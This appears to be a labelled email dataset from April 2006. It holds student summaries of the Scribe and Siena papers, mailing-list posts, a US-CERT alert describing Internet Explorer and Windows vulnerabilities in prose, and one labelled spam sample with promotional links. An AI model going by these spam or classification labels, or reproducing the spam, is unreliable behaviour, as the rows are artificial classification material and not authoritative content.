the following message ""DirectX reports no support for Page >>>Flipping. The video card in this machine is not adequate for DMDX's purpose"". >>>I guess this means I must change the video card, but I have hope there >>>is a solution as the previous versions of DMDX worked well with this >>>video card. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The optimum committee has no members. - Norman Augustine ",0,0 """Progesterone T. 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Steve Burbon, Washington Read more testimonals here! http://www.reisak.com Remove you e-mail http://www.reisak.com/u.php ",1,1 Ari Rabkin ,egs+summary@cs.cornell.edu,"Mon, 10 Apr 2006 23:54:16 -0400",PAPER 20," Scribe is an application-layer multicast system layered on top of pastry. A single node is chosen as the rendesvous point for a multicast group. Nodes build routes to the rendezvous; due to the structure of pastry, these routes will tend to converge well before the rendezvous point, keeping the outdegree of the rendezvous bounded. To multicast to the group, a message is sent directly to the rendezvous, which then broadcasts it down the tree. Scribe thus elegantly leverages the locality and routing properties of the underlying Pastry. Scribe comes with no guarantees about performance--the fact that Pastry works well is purely shown by empirical testing, and may not be true under all circumstances. The Scribe system is nearly useless for any application where Pastry is unsuitable. No provision is made for strong reliability guarantees--including tolerating failure of the rendezvous node and including global ordering guarantees. The rendezvous node cannot be easily chosen, and may be overloaded if a given group has high traffic. Siena is a broad outline for a peer-to-peer pub-sub system. The Siena architecture is applicable to both hierarchic and unstructured systems, though the authors give a convincing argument for why a peer-to-peer system would be expected to perform better under many circumstances: information about what requests are available is pushed closer to the message senders, rather than having the root be in the path for almost every notification. Siena is agnostic both to lower-level protocol and to details of topology: it is the outline of a system, rather than an actually-developed system. It does, however, include a fairly powerful language for describing events and filters for them. Siena is wrong to assume that the only options are a single hierarchy and an unstructured mesh--structuring the overlay might buy important dividends. Siena provides only best-effort, without any guarantees about delivery or ordering. The system does not include robust failure-handing mechanisms, nor does it actively load-balance. Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Tue, 11 Apr 2006 01:51:12 -0400",PAPER 20,"Publisher/Subscriber Event Notification Service: (1) A large scale system is generally developed and designed by means of the integration of components while the interaction among components is modeled with events. (2) Two kinds of clients: 'publishers' of events and 'subscribers' for notifications, are involved in such an event notification system. (3) An event notification service complements multicast systems by offering a many-to-many communication and integration facility. * Siena (Scalable Internet Event Notification Architectures) is a scalable and distributed publish/subscribe event-notification service. * Due to the asynchrony and heterogeneity properties of applications in a wide-area network, the event notification service is advantageous to remote invocation mechanisms because it increases the degree of de-coupling among components, hence eliminating static dependencies and improving interoperability. * Siena is implemented as a set of servers that provide access points to clients. Clients use them (a) to advertise information about their events and publish related notifications and (b) to subscribe for notifications of interest. The service uses them to deliver notifications. * Two primary services are provided by Siena. The first is ""notification selection"": matching of the published events to the subscriptions. The second is ""notification delivery"": routing matching notifications from publishers to subscribers. * The challenge is 'expressiveness' in the selection mechanism: the ability to provide a data model with which to capture information about events, to express filters and patterns on notifications of interest, and to optimize the delivery of event notification based on that data model. The efficiency of the service is affected by the power of the language used to construct events and to express filters and patterns. * The experimental results show that the peer-to-peer architecture is superior to hierarchical architecture in the scenarios where the total cost is dominated by notifications, especially when the total number of notifications exceeds the number of consumed notifications. It is worse when there are low densities of clients that subscribe frequently. * Future work of the publish/subscribe service includes security and reliability of the system as well as mobility of clients, etc. * Scribe is an application-level multicast infrastructure layered on top of Pastry. In Scribe, multicast messages are delivered within a 'group'. A multicast tree is built per group, based on the self-organization, locality and fault tolerance properties of Pastry. * Each Scribe group had a groupId. The Scribe node whose nodeId is numerically closest to the groupId acts as a rendezvous point for that group. As the groupId is a hash and supposed to be uniformly distributed over the nodes, this scheme balances the load of multicast roots among all participants. * The message forwarder of a Scribe group may or may not be a member of the group. When a node issues a Join message to the rendezvous point of a Scribe group, the nodes along the routing path that is not a forwarder of that group now becomes a forwarder of it. Multicast messages are delivered to the rendezvous point and then disseminated by the forwarders to all members in this group. Pastry's randomization properties ensure that the forwarding load is evenly balanced across all nodes.",0,0 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Tue, 11 Apr 2006 01:45:56 -0400",PAPER 20,"Andrew Cunningham arc39 SCRIBE: A large-scale and decentralized application-level multicast infrastructure Miguel Castro, Peter Druschel, Anne-Marie Kermarrec and Antony Rowstron Built atop Pastry, Scribe permits large number of multicast groups, with potentially giant membership sizes. It inherits directly Pastry's reliability, self-organization, and locality properties, and uses the consistent hashing scheme to create and manage groups, and Pastry's message routing to build efficient multicast trees for the dissemination of messages to each group. Scribe provides best-effort reliability, though could be extended to provide better reliability. It uses a traditional Pastry model, but with the addition of several message types to facilitate broadcast. To join a broadcast group, a message is routed to the node whose nodeID lies closest to the group identifier, and the hops taken are cached so that responses may flow back along the channel thus created. The group identifier could be created in a variety of ways, the easiest of which would be to take the ID of the creating node and concatenate some group identifier (making the tree efficient for the publisher), or to reverse the order of concatenation, to remove load. Scribe also handles tree repair (in a heartbeat-based failure detection system) and root repair (though precise algorithm is left unspecified). Scribe has the advantage of being an incredibly simple algorithm. It is in many ways merely an application built on Pastry -- merely being the operative word here, because much of its good behavior can be simply inherited. The real places that it surpasses its substrate are in specific application -- whose design seems obvious, due to the limited number of ways of acheiving it, and the order in which the papers were read -- and in the tree maintenance and repair steps, which are not ground breaking, but are better documented in this paper than elsewhere and seem entirely sufficient. One of the major findings of Scribe's experimental data was that it did not behave well in the presence of a large number of small-sized groups. This is perfectly acceptable, once this information is known, but seems somewhat counterintuitive, as smaller groups (in theory!) involve fewer nodes and links, and thus lesser load. Their special case solution to this problem is somewhat worrisome, as it is underspecified and seems to indicate growing a node's outdegree to match membership in the group (under the collapsed system). This would seem to indicate that a sudden spike in popularity might cause instability at some nodes as their outdegree grows; this might cause them to crash, creating a cascading effect. While I'm sure that this is taken into account, the paper does not mention this, but it may be a flaw specifically introduced by an otherwise benign fix. Design and Evaluation of a Wide Area Event Notification Service Antonio Carzaniga, David S. Rosenblum, Alexander L. Wolf Much more expansive than strictly necessary, this paper delves into the minutiae of its logical model for providing a publish/subscribe framework. It does this by providing agreed upon datatypes, which permit fields to be generated for messages, which permit filters (and compositions of filters) to be applied, thus representing a sort of search on desired terms and data. It uses a relatively unstructured network, in that subscriptions are pushed as far towards the publisher as possible -- as are filters, thus saving bandwidth -- and advertisements are sent as far down, towards consumers, as possible. This push and pull guarantees both coverage and reasonable performance. Much of the paper is devoted to the semantics of the query language and the concepts of a publish/subscribe system, which was unfortunate as this space could perhaps have been better allocated several different ways. Also, the paper establishes the performance models of hierarchical systems vis-a-vis peer to peer ones, resulting in the finding that hierarchical systems perform well for modest numbers of clients who experience thrash, subscribing and unsubscribing quickly, while peer to peer systems scale better with number of clients and modest rates of subscription-thrash, thus relatively high volume of messages. The conclusion section paints doubts on how much of this product truly exists, and how much is merely theoretical; in an overwhelmingly theoretical paper, that seems dangerous. The paper is also relatively old -- merely the age of BitTorrent, though it seems older -- and while BitTorrent has truly 'taken off', it seems that Siena has not. It is also unclear whether or not this protocol has in fact been run whatsoever in the real world, versus simulations -- since it aims to supplant CORBA and other such protocols, such a lack of real exposure is telling. In terms of the acutal algorithms presented, it is hard to say much, other than that they seem fine on paper, and are easy to motivate, and therefore likely correct. They are also uninspiring, though this is perhaps again a sign of age: the solution is to do as much work as close to the publisher as possible so to prevent extra messages from being sent, and to remark that this system may be symmetric, either via filters or via advertisements. ",0,0 Philip Kuryloski ,egs+summary@cs.cornell.edu,"Tue, 11 Apr 2006 04:18:18 -0400",PAPER 20,"SCRIBE: Scribe is a distributed multicast scheme built on top of a Pastry network. Any node can form a group, which can encompass any number of nodes in the network. A best effort multicast is provided by Scribe. Each scribe group has a group id in the same space as Pastry node ids. This allows the node closest to the group id in the identifier space to serve as the root of the multicast routing tree. Reverse routing is applied to generate a multicast tree, a node wishing to enter the group routes to the root, and nodes along the path to the route become forwarders. As the route to the root converges to a small set of nodes near the root, the tree is efficient. Heartbeat messages are periodically exchanged to maintain an unbroken tree. The authors simulated a 100,000 node scribe network. Scribe provides an average delay less than twice that of IP multicast. Several points at which the structure of the scribe network breaks down. SIENA: The goal which is to be achieved by a multicast overlay is essentially the same challenge as is prompted by the creation of an efficient multicast system: a message from a single source must reach a number of other subscribers. However, Siena and Scribe differ in that while Scribe multicasts using a tree topology, Siena uses a more general graph. The chief insight of Siena is that there is likely some commonality to distinct event subscriptions, realizing the overlap in these subscriptions. The authors give the example of a stock price as a notification, where users subscribe to some set of stock prices that they would like to subscribe to updates for. A basic set of filters can be described in a subscription if only certain data is desired. The subscription features of Siena are much richer than Scribe as well as many other P2P multicast systems. The authors mention a centralized, acyclic P2P, and general P2P as potential network architectures to implement their system. They also mention that data could be cached close to the poster or close to the subscriber. Although they describe these possibilities, they do not go so far as to select a certain scheme. Siena primarily describes the management of data or streams to support a rich publish/subscribe model. The authors do not, however, provide strong preference for different types of underlying P2P structures or many other aspects of the network. Thus, it is difficult to compare Scribe and Siena. Both address the fundamental multicast question, although both assume a very different type or class of data. ",0,0 ARL Communications ,,,"On the ARL Server (April 10, 2006)","On the ARL Server Week of April 10, 2006 Report on Applications to the Institute on Scholarly Communication and the Selection Process [PDF] Susan Weaver Appointed ARL Visiting Program Officer with a Focus on Library Assessment for Greek Libraries [PDF] LibQUAL+™ Awards In-Kind Grants to Participate in 2006 Survey ARL Membership Meeting, May 16–19 in Ottawa Library Assessment Conference Call for Papers—Due April 15 Nominations for 2006 Service Quality Evaluation Academy—Due May 1 Application Materials for Graduate School Stipend from ARL Initiative to Recruit a Diverse Workforce—Due June 21 [PDF] ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12–14, 2006 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Tue, 11 Apr 2006 11:07:34 -0400",PAPER 20,"Siena Siena is an event notification service that the authors have designed to maximize both expressiveness and scalability where expressiveness refers to the ability of the event notification service to provide a powerful data model with which to capture information about events, to express filters and patterns on notifications of interest, and to use that data model as the basis for optimizing notification delivery. Siena is a wide-area, large-scale, decentralized service based on the publish/subscribe protocol and objects of interest advertises and publishes their content and clients subscribe to the services. Scribe Scribe is a scalable application-level multicast infrastructure that is built on Pastry, object location and routing substrate overlayed on the Internet and supports large numbers of groups and members per group. It uses and leverages Pastry’s reliability, self-organization, and locality properties and uses it to create and manage groups and to build efficient multicast trees for the dissemination of messages to each group. The authors claim that Scribe provides best-effort reliability guarantees and shows results based on a realistic network topology model that it can scale across a wide range of groups and group sizes. Scribe being based on pastry is a fully decentralized model and builds a multicast tree, formed by joining the Pastry routes from each group member to a rendezvous point associated with a group. In Scribe any Scribe node may create a group of nodes and then other nodes can join the groups that have been created after checking the credentials of the joining nodes. To create a group, a Scribe node asks Pastry to route a CREATE message using a unique groupId which is the hash of the group’s textual name concatenated with its creator’s name as the key. Pastry delivers this message to the node with the nodeId numerically closest to groupId. The Scribe deliver method then adds the group to the list of groups it already knows about and also checks the credentials to ensure that the group can be created, and stores the credentials and makes this node the rendezvous point for this group. It can also increase performance by making the groupId the concatenation of the nodeId of the creator and the hash of the textual name of the group. When a Scribe node wishes to join a group, it asks Pastry to route a JOIN message with the group’s groupId as the key and which is routed by Pastry towards the group’s rendezvous point. At each node along the route, Pastry invokes Scribe’s forward method. Forward checks its list of groups to see if it is currently a forwarder; if so, it accepts the node as a child o the children table. When a scribe node wishes to leave the group then it records locally that it has left the group and then sends a leave message to its parent in the multicast tree which recursively goes up the tree until it reaches a node that still has entries after removing the node that has left. ",0,0 Nicholas S Gerner ,egs+summary@cs.cornell.edu,"Tue, 11 Apr 2006 11:24:10 -0400",PAPER 20,"Scribe is a multicast system supporting a large number of multicast groups, large number of members per group, layered on Pastry. Groups in scribe are addressed by a groupid, the root of which is the node whose nodeid is numerically closest to groupid. The multicast tree created for a group is the union of all routing paths from leaves to root in Pastry. In this way the tree leverages Pastry for construction and maintenance. During construction nodes route a join message to the root. The join message is suppressed at the first node already in the routing tree. Nodes receiving the message not already in the tree become forwarders for the tree and will subsequently supress join messages. To multicast messages to the group a node addresses the root of the group which disseminates the message along the tree. Because nodes might fail, Scribe provides best-effort delivery, so some messages may be lost or delivered out of order. Applications can build more reliability on top of Scribe. Scribe additionally provides two algorithms to help remove bottlenecks (overloaded nodes) from the tree. Such nodes off-load children to their children (trading off the length of the child's path for better load balance). One weakness of Scribe is that, by default, it doesn't support many small groups as well as it does a smaller number of large groups. Such groups produce deep trees with little branching. Scribe addresses these by collapsing paths which do not branch at nodes which do not participate in the group. In this way Scribe supports many long-lived groups for large numbers of group members. Scribe is targeted at groups of at least eleven members, up to 100,000 or more members. Pastry automatically repairs failures in the trees (at the root or otherwise). However, the roots of such trees still represent a single point of byzantine failure. If such a node is chosen randomly it could suppress or manufacture faulty messages which affects all members of the tree for all messages. Additionally the groups must be created ahead-of-time and members must elect to join the group. While this may not be a heavy-weight operation compared to the savings of multi-cast, ad-hoc or one-use groups will not perform as well as longer-lived groups. Sienna is a publish-subscribe system supporting complex pub-sub semantics. Sienna is built into a network of servers supporting the semantics. Clients connect to local access points and provide advertisements describing what they might publish describing attributes and valid values for those attributes. Similarly, clients can provide subscriptions describing attributes and values for those attributes for which the client is interested. Sienna adheres to two principles: notifications should be routed as close as possible to desintations without duplicates and filters (defined by subscriptions) should be applied as close as possible to sources. These principles minimize the amount of redundant network traffic. Sienna also supports matching patterns which are sequences of filters or compound subscriptions defining a sequence of notifications for which the subscriber is interested. These semantics allows subscribers to express subscriptions on notification sequences over time (such as ""two failed login attempts followed by a change to the password file""). Sienna servers factor these compound subscriptions into elementary subscriptions (at the coarsest grain possible given known advertisements) and forward these to other servers which have matching advertisements. A monitor is then started at the server which keeps state about notifications in order to match sequences of notifications. In this way filters and monitors can be applied as far upstream as possible and messages can be sent as far downstream without duplication. While Sienna provides an expressive pub-sub language it does not consider the many systems issues explored by Scribe and addressed by Pastry. The cost per notification per interested party in Sienna is shown to scale sub-linearly with the number of interested parties, but this should be expected from a multicast system. An important comparison is to some notion of optimal or an alternative routing scheme (such as IP-multicast). ",0,0 Kevin ,egs+summary@cs.cornell.edu,"Tue, 11 Apr 2006 11:43:02 -0400",PAPER 20,"Scribe is an application level multicast system and pub/sub system. Scribe is seems like an addition to pastry and offers best-effort reliability with communication. Packet ordering and other reliability issues are not gauranteed unless certain (reasonable, but not always present) conditions are met on the network. Scribe is organized into (possibly many) groups with (possibly many) members in each group. Built upon Pastry, a group is the hash of the group's name concatenated with the creator's name. The node that the hash is closest to is responsible for being the parent of this group. This information is replicated over k nearest neighbors for reliability's sake. Each member of the group has a set of credentials that allows that member to multicast to everyone in the group or perform other security-needed operations, such as group destruction. A multicast tree is built when a node joins the network. It first routes a message to the parent node of the group, hash(groupName+creator), and every node along the way adds the new node as a child. When the parent broadcasts a message, it is sent down this tree to people who are possibly not in the group (forwarders) to get down to the child. When a node fails, a new join message is sent to the parent of the tree. The tree, because of Pastry's properies, is likely to not have more than log(n) depth and children are likely to share non-root parents. Performance seems to be alright, but nothing fantastic. The implementation of this algorithm is simple compared to many of the others we have read before, but the performance is laking. Overhead and speed seem to be 1.5-2x less/slower than other systems we have read about before. Siena confused me a bit. It seems to wander off in its own direction, which is away from the focus of the paper, for large expanses. The general aim of Siena is to implement filters and events, which can be grouped together, which allow you to save bandwidth when you multicast. The multicast itself is possibley cached along the semi-unstructured p2p system. While the paper says it can be built upon a structured network, they never go into that fully.",0,0 Victoria Krafft ,egs+summary@cs.cornell.edu,"Tue, 11 Apr 2006 08:34:40 -0700",PAPER 20,"Scribe and Siena are both attempting to provide the same functionality: the ability for nodes to dynamically create a variety of groups, and receive information sent to those groups. Scribe is another tree-based multicast scheme, although it allows any node with the appropriate credentials to broadcast to the multicast group. Scribe is built on top of Pastry, and it takes advantage of the underlying structure Pastry provides. Scribe creates multicast groups by assigning each group a groupID in the address space, designating the node with the address closest to the groupID as the rendez-vous node for the group, and building a content distribution tree out from that node. Because of the nature of Pastry routing, the content distribution tree may include nodes which are not part of the multicast group; if node A has to route through node B to reach the rendez-vous node, then node B becomes part of the distribution tree. Scribe does not store information about all the nodes in the multicast group at the rendez-vous node. Instead, that information is stored locally. Scribe scales well, and supports multiple multicast groups easily. However, it relies on the underlying Pastry network to provide locality. It may also route multicast messages through nodes which are not interested in those messages. While the number of hops to route between nodes in the tree is O(log(n)), it will still increase the latency in delivering messages to the multicast group, and use up more bandwidth than is strictly necessary. Siena is a much more general design for a publish/subscribe system. Within the paper, several possible designs are discussed, and the underlying topology is left as a fairly general acyclic graph. Within this graph, filters are applied as close to the source as possible, which will help minimize the bandwidth used. Siena could be run on top of either a peer-to-peer or a hierarchical network, although the authors argue that a peer-to-peer network is better under most circumstances, and the experimental results suggest that this is true for larger systems. -- Victoria Krafft ",0,0 Ben Pazolli ,mac-n-dos@mail.maclaunch.com,"Wed, 12 Apr 2006 00:27:17 +0800",Apple Compatibility Card,"Simple question hopefully, I have just received a 7-inch Cyrix 586 100MHz Compatibility Card for my Power Macintosh 7200/120, which I bought off eBay for just under $20 AUD or $14 USD. Very happy, I am playing all my old dos games and running Windows 3.11. The problem is I have tried but can't setup my network on the 586 side. I have a TCP/IP network with DCHP, works fine on the Mac side. Any pointers would be great and I read somewhere that there are problems running the same protocol on both sides. If so, could someone explain the workaround clearer? Thanks for the Help, Ben Pazolli P.S. I not sure if this list is still operating, there has been very little activity and it hasn't made the transition to Google groups, if I don't receive a response in a day or two, I will repost this question on PCI PowerMacs. ",0,0 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Tue, 11 Apr 2006 12:07:21 -0400",paper 18,"SCRIBE a scalable application-level multicast infrastructure supporting a large number of groups with any number of members in a group. Scribe is built on the top of Pastry. Pastry is used to create and manage groups and build trees for efficient multicast distribution. each group has a unique group-id which is computed using the hash of the textual name concatenated with the creator's name. the scribe node with the nodeid closest to the group-id acts as the root of the multi-cast tree for the group. the authors also propose making the creator the root of the multicast tree which seems like a better idea - this prevents malicious nodes from overburdening other nodes by creating groups with group-id that are close to the nodeid of the correct node. when a scribe node joins, it uses the Pastry's join message along with the group-id that it wishes to join. this message is routed using Pastry. a node is termed as a forwarder for a group if its routing table contains entries for that group. A node becomes a forwarder for a group when a node sends it a JOIN message for a particular group (which is not in its routing table and provided its routing table is free)\\ the root of a group is located using Pastry and also cached for subsequent use. multicast trees repair: parents send heartbeats to their children periodically. when a child detects failure of its parent it sends a JOIN message. root failures can be tolerated using replication and agreement protocols. DESIGN AND EVALUATION ...:SIENA the authors discuss the tradeoff between the maximizing the expressiveness in the selection mechanism and maintain scalability at the same time. the selection process is used to select clients while routing and delivering notifications. for a distributed system implementing a notification system, three critical design aspects are mentioned: 1) interconnection topology between servers 2) routing algorithm 3) processing strategy -- so as to optimize message traffic the authors adopt a general graph for their interconnection topology based on performance issues with a hierarchal topology. besides the publish/subscribe interface, the authors also use an additional interface termed advertise which an object of interest uses to advertise notifications it publishes ( unsuscribe and unadvertise also exist) SIENA semantics are that of a best-effort service - it must not introduce unnecessary delays in processing but it neither prevents race conditions. a timestamp with each notification is used to deal with latency effects. the authors propose a hybrid architecture so as to increase efficiency by using different architectures at different points in the network. Patterns are matched using ""Pattern Factoring"" and ""Pattern Delegation"" mechanisms which break a compound subscription into components and forward the smaller elementary components. ",0,0 Chiu Wah Kelvin So ,egs+summary@cs.cornell.edu,"Tue, 11 Apr 2006 12:03:16 -0400",Paper 20," The first paper, ""SCRIBE: A large-scale and decentralized application-level multicast infrastructure,"" presents an application-level multicast which supports large number of groups. Scribe is built on top of pastry. Therefore, it leverages pastry's reliability, self-organization, and locality properties. Scribe supports 4 simple operations, create, join, leave, and multicast, to its application. Any node can perform the 4 operations and become root of multicast, or used to disseminate messages for other group, or node in the multicast group. To create a group, node will route the create message to node numerically closest to the groupId. Then the node became the root, rendezvous point for the multicast group. To join a group, node will route a join message to the rendezvous point, and all the intermediate nodes will maintain a children table and used to forward messages for the multicast group. To multicast a message, node send a message to the rendezvous point and then root disseminate the message through the multicast tree. Periodically, each non-leave node in the tree sends a heartbeat message to its children. If the child doesn't receive the heartbeat, then it will send JOIN to reestablish the multicast group. In order to provide scalability, Scribe sacrifice performance, such as bandwidth and latency, of disseminate multicast tree because even the node outside of the multicast group need to help forward messages for the group. The second paper, ""Design and Evaluation of a Wide-Area Event Notification Service,"" presents event notification system which supports publish/scribe operations. This paper attacks a broader class of problem where a node receives only the notification it scribes to. In multicast, node can only receive messages which is disseminate in the group. However, in publish/subscribe system, node will only receive notifications (messages) it subscribe to. Subscription can be ranges of values of different attributes in a notification. Then it presents solution for different architecture, which include hierarchical client/server architecture, acyclic and general peer to peer architecture. To route a notification, a notification is routed as far as possible and replicate only close to the parties of interested. The filter will be installed as close to the sources of notification to reduce the traffic. This paper doesn't talk about fault-tolerance and self organizing of the systems. It only focuses in the expressiveness and scalability. Without fault- tolerance and self-organizing property, it is suitable to deploy in wide-area network. ",0,0 ,,,Re: Temporal hierarcy as a tree of coincidence detectors (new),"Stan wrote (>): > >>I agree that there are many different kinds of hierarchies. But the one I >>considered in my posts may be one of the simplest 'temporal' hierarchies, >>if not the simplest. If we understand the principle behind such a simple >>hierarchy, that principle may be subsequently generalized to accommodate >>more complex ones. > OK. I was thinking of mapping your view onto a scale hierarchy by way >of placing many of yours alongside each other, with numerous lower level >units held in common. That might give an approximation, but what is >missing is upper level controls. These could be added such that some >pyramids are eliminated because not consistent with boundary conditions. Again, I want to think about the simplest hierarchy first. To me this consists of a bifurcation tree shown below which is composed of a set of three kinds of elements - monovalent, bivalent and trivalent elements. The root of the tree (i.e., 1 in the figure below) is bivalent, the leaves (e.g., 16, 17, 18, etc.) are monovalent, and the rest of the tree consists of trivalent branching points (e.g., 2, 4, 8, etc.). It may well be that any hierarchy in 2D-plane can be constructed using these three elements, which may be viewed as the atoms of 2D-hierarchies. By extension, we can easily envision the atoms of 3D-, 4D-, etc. hierarchies, in which case we may have to inroduce 4-valent and 5-valent elements as well. For convenience we may refer to the n-valent element of a tree hierarchy as the ""n-hierarchon"" (Sorry, Stan. One too many neologism?) So, in the following figure, 1 would be a 2-hierarchon; 2, 3, . . . , 16 would be 3-hierarchons; and 16 through 31 would be 1-hierarchons. Based on this classificaiton of the elements of hierarchies, it becomes evident that not all the elements of a temporal hierarchy can serve as 'coincidence detectors'. Only the trivalent hierarchons can fullfill the role of coincidence detectors. Returning to the simplest 2D hierarchy (i.e., the hierarchy shown below), I think we can use it to represent two distinct kinds of hierarchies-- spatial and temporal hierarchies, which may turn out to be projections of a higher-order hierarchy, the 'spatiotemporal' hierarchy. We may designate them as the s-hierarchy, the t-hierarchy, and the st-hierarchy. This in turn would force us to admit of three classes of hierarchons -- s-, t-and st-hierarchons, each having three distinct kinds of elements as already discussed (in the case of 2D hierachies). We can denote these different kinds of hierarchons thus -- s1-, s2-, and s3-hierchons constituting the s-hierarchy, t1-, t2- and t3-hierarchons for the t-hierarchy, and st1-, st2-and st3-hierarchons. 1 2^0 / \\ / \\ 2 3 2^1 / \\ / \\ / \\ / \\ 4 5 6 7 2^2 / \\ / \\ 8 9 10 11 12 13 14 15 2^3 / \\ / \\ 16 17 18 19 20 21 23 24 . . . 2^4 Figure 1. A hierarchy composed of a set of mono-, bi- and tri-valent elements referred to herre as ""hierarchons"". See above for the meaning of the valency of elements. >>Can you define for me what you mean by “scale” and “specification"" >>hierarchies? About the latter hierarchy, I had asked you once before but >>I never gotten your answer. > OK. Best done quickly by examples: > Scale hierarchy = [population [organism [cell [macromolecule]]]], > interpreted as [higher level [lower level]]. Higher level entities are > bigger and/or slower to change, and include lower level entities within > them. Using the terminology introduced above, we may identify your scale hierarchy as an exampl of the 2D spatial hierarchy, which would include the hierarchy formed by quarks, nucleons, atoms, molecules, complexes, etc. >Specification hierarchy = {physical process {chemical affinities > {biological form}}}, with {lower level {emergent higher level}}, and using > the logic of set theory, as implied by the style of the brackets -- so, > chemistry is a KIND of physics. I wonder if we can consider your specification hierarchy as an example of the spatiotemporal hierarchy defined above. This identification would be valid if we can show that the hierarchons involved in specification hierarchy require both the spatial and the time dimension to be completely specified. With all the best. Sung __________________________________________ Sungchul Ji, Ph.D. Department of Pharmacology and Toxicology Rutgers University Piscataway, N.J.08855 ",0,0 US-CERT Alerts ,alerts@us-cert.gov,"Tue, 11 Apr 2006 18:05:57 -0400",US-CERT Cyber Security Alert SA06-101A -- Microsoft Windows and Internet Explorer Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA06-101A Microsoft Windows and Internet Explorer Vulnerabilities Original release date: April 11, 2006 Last revised: -- Source: US-CERT Systems Affected * Microsoft Windows * Internet Explorer Overview Microsoft has released updates that address critical vulnerabilities in Windows and Internet Explorer. Solution Apply Updates Microsoft has provided updates to remedy these vulnerabilities. To obtain the updates, visit the Microsoft Update web site. US-CERT also recommends enabling Automatic Updates. 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Thus, you will be required to complete the project in Java. You will need to submit source code that can be compiled on the departmental public linux systems. We will compile and run it on a battery of test programs to determine if your programs are correct. More info will follow shortly. 2) The issue of WAR hazards came up in class today. These are unusual in an in-order processor, but possible with variable length pipelines (see slide 24 from the lecture 12 slide deck). That example includes a pipeline that supports two types of instructions: a) Normal simple instructions that need just the normal five stages in a pipeline: F - R - X - M - W b) A more complicated pipeline that has a late register read stage that supports instructions such as: R1 = R2 + R3*R4. Let's call this instruction a ""mula"" for multiply and add. Such a pipeline might look like this: F - R - X1 - X2 - X3 - X4 - R - X5 - W Note that X1 through X4 are for the multiply, while X5 is for the add. In this example, R2 would not be read from the register file until the second R stage. The problem with this is the following instruction sequence: mula R1, R2, R3, R4 add R2, R6, R7 Here the mula instruction is supposed to get the old value of R2, not the new value produced by the add instruction. Now consider how these instructions proceed down their pipelines: mula: F - R - X1 - X2 - X3 - X4 - R - X5 - W add: F - R - X - M - W Note that the add instruction reaches its W stage before the mula reaches its second R stage. Thus the mula will incorrectly get the new value of R2 - hence the WAR hazard. This problem can come up in out-of-order pipelines in a less-contrived manner, and can be solved by using a technique called register renaming. We will discuss this starting next week. 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Overview Microsoft has released updates that address critical vulnerabilities in Microsoft Windows and Internet Explorer. Exploitation of these vulnerabilities could allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial of service on a vulnerable system. I. Description Microsoft Security Bulletin Summary for April 2006 addresses vulnerabilities in Microsoft Windows and Internet Explorer. Further information is available in the following US-CERT Vulnerability Notes: VU#876678 - Microsoft Internet Explorer createTextRange() vulnerability Microsoft Internet Explorer fails to properly handle the createTextRange() DHTML method, possibly allowing a remote, unauthenticated attacker to execute arbitrary code. (CVE-2006-1359) VU#984473 - Microsoft Internet Explorer contains overflow in processing script action handlers A vulnerability in the Microsoft Internet Explorer web browser could allow a remote attacker to crash the browser or possibly execute arbitrary code on a vulnerable system. (CVE-2006-1245) VU#434641 - Microsoft Internet Explorer may automatically execute HTA files Microsoft Internet Explorer fails to properly handle HTA files. This vulnerability may allow a remote attacker to execute arbitrary code. (CVE-2006-1388) VU#503124 - Microsoft Internet Explorer fails to handle specially crafted, malformed HTML Microsoft Internet Explorer fails to properly handle malformed HTML. This vulnerability may allow a remote attacker to execute arbitrary code on a vulnerable system. (CVE-2006-1185) VU#959049 - Multiple COM objects cause memory corruption in Microsoft Internet Explorer Microsoft Internet Explorer allows instantiation of COM objects not designed for use in the browser, which may allow a remote attacker to execute arbitrary code or crash IE. (CVE-2006-1186) VU#824324 - Microsoft Internet Explorer fails to properly handle HTML elements with a specially crafted tag Microsoft Internet Explorer fails to properly handle HTML element tags, which may allow a remote, unauthenticated attacker to execute arbitrary code. (CVE-2006-1188) VU#341028 - Microsoft Internet Explorer fails to properly handle double-byte characters in specially crafted URLs Microsoft Internet Explorer fails to properly handle double-byte characters in URLs, which may allow a remote, unauthenticated attacker to execute arbitrary code. (CVE-2006-1189) VU#234812 - Microsoft Windows contains a vulnerability in the RDS.Dataspace ActiveX control in MDAC Microsoft Windows fails to properly handle the RDS.Dataspace ActiveX control possibly allowing a remote attacker to execute arbitrary code. (CVE-2006-0003) VU#641460 - Microsoft Windows Explorer fails to properly handle COM objects Microsoft Windows fails to properly handle COM Objects. This vulnerability may allow a remote unauthenticated attacker to execute arbitrary code on a vulnerable system. (CVE-2006-0012) II. Impact A remote, unauthenticated attacker could execute arbitrary code with the privileges of the user. If the user is logged on with administrative privileges, the attacker could take complete control of an affected system. An attacker may also be able to cause a denial of service. III. Solution Apply Updates Microsoft has provided updates for these vulnerabilities in the Security Bulletins and on the Microsoft Update site. Workarounds Please see the US-CERT Vulnerability Notes for workarounds. Many of these vulnerabilities can be mitigated by following the instructions listed in the Securing Your Web Browser document. Appendix A. References * Microsoft Security Bulletin Summary for April 2006 - * US-CERT Vulnerability Note VU#876678 - * US-CERT Vulnerability Note VU#984473 - * US-CERT Vulnerability Note VU#434641 - * US-CERT Vulnerability Note VU#503124 - * US-CERT Vulnerability Note VU#959049 - * US-CERT Vulnerability Note VU#824324 - * US-CERT Vulnerability Note VU#341028 - * US-CERT Vulnerability Note VU#234812 - * 